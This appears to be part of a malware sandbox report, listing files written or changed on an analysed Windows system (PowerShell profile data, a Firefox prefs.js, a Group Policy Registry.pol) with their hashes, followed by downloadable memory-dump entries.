MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 8079248baaa9c7c3e4ae0c2b5a8f09bcc13c06cb5307ec7722a9b1e158efad54
MD5 939a3dc0fe1d0645473218b127e814b9
SHA1 a750a5aa7aa797c0b10ba78fc04d1ed3ede452bf
SHA512 da4ecd1bcaeb7ad8a6f34bf4d0a8aac77bb6ea502b359d66f45bd0e8668d57ece25b7cbf65b0719e05630e1b2ebac21c0b13fcd337a8f423c301181c3d534436
SSDEEP 192:0nj+9ZyJquu8iZ1/gyjznqDUhD/wkolMCVyoER9oDK2Ha4osCfSwPcB7y/w:0j+WJqSiZhgyjTqDUJ/o0JnoukbwPCyo
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_hbucowqb.1ep.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hbucowqb.1ep.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\afevplna.default-release\prefs.js
Size 7KB
SHA256 a20a819810388bcca590c01b270f7c101481627e215d93b5f6fe3202e24551de
MD5 0f1a98624eda8211b1a7fc6a0ccce584
SHA1 f27d1b8a6d6845b92db3228082c3e57bdd2d039a
SHA512 a442178bd15e2777de68401127fd3f6b5b50dcb0e3345fb814d5581a2c19d9256fe4fd304634f4e678ea32606cfc85410aa2b4b573131adf693951e2765f45ff
SSDEEP 192:55nrRufl+xB0XbJ3IYSm9xzoyBw8VcRSul9DLadaWMHgER:Eh5IYSisAwV7Ao
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.pol

Path C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Size 7KB
SHA256 3198672cdf504d8eeb57cef202033b4be0e53c50ceb3b2eac888848dd2649905
MD5 89155efee73520ef1851de08b7846157
SHA1 e45adddd5734fc19f7d342f1c83af487b419f023
SHA512 285d38ee200b9fe7b17d616db4173765eeb6361325c42039293f0bc63800cef8a2742548040a51fcc3515c9e43777cde44523e1c550e6d956db71fbe9ef70e89
SSDEEP 96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0/070W0v0g0F0k000t0wHIUCNiUbiM+Bt:hhy
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1560-38-0x0000000006640000-0x000000000668C000-memory.dmp

Download

memory/1560-33-0x0000000005C70000-0x0000000005FC4000-memory.dmp

Download

memory/1668-21-0x0000000010000000-0x0000000011E52000-memory.dmp

Download

memory/1668-75-0x0000000004650000-0x00000000046D5000-memory.dmp

Download

memory/1668-403-0x00000000048C0000-0x0000000004942000-memory.dmp

Download

memory/1668-113-0x0000000004860000-0x00000000048C0000-memory.dmp

Download

memory/1668-417-0x0000000004950000-0x0000000004A21000-memory.dmp

Download

memory/1892-54-0x0000019037280000-0x00000190372A2000-memory.dmp

Download

memory/1968-49-0x0000000005B10000-0x0000000005E64000-memory.dmp

Download

memory/5056-0-0x0000000002FC0000-0x0000000002FF6000-memory.dmp

Download

memory/5056-20-0x0000000008190000-0x0000000008734000-memory.dmp

Download

memory/5056-19-0x0000000006E20000-0x0000000006E42000-memory.dmp

Download

memory/5056-18-0x0000000006DB0000-0x0000000006DCA000-memory.dmp

Download

memory/5056-17-0x0000000007B40000-0x0000000007BD6000-memory.dmp

Download

memory/5056-16-0x0000000006960000-0x00000000069AC000-memory.dmp

Download

memory/5056-15-0x00000000068D0000-0x00000000068EE000-memory.dmp

Download

memory/5056-10-0x00000000062F0000-0x0000000006644000-memory.dmp

Download

memory/5056-4-0x0000000006280000-0x00000000062E6000-memory.dmp

Download

memory/5056-3-0x0000000006210000-0x0000000006276000-memory.dmp

Download

memory/5056-2-0x0000000005A30000-0x0000000005A52000-memory.dmp

Download

memory/5056-1-0x0000000005A70000-0x0000000006098000-memory.dmp

Download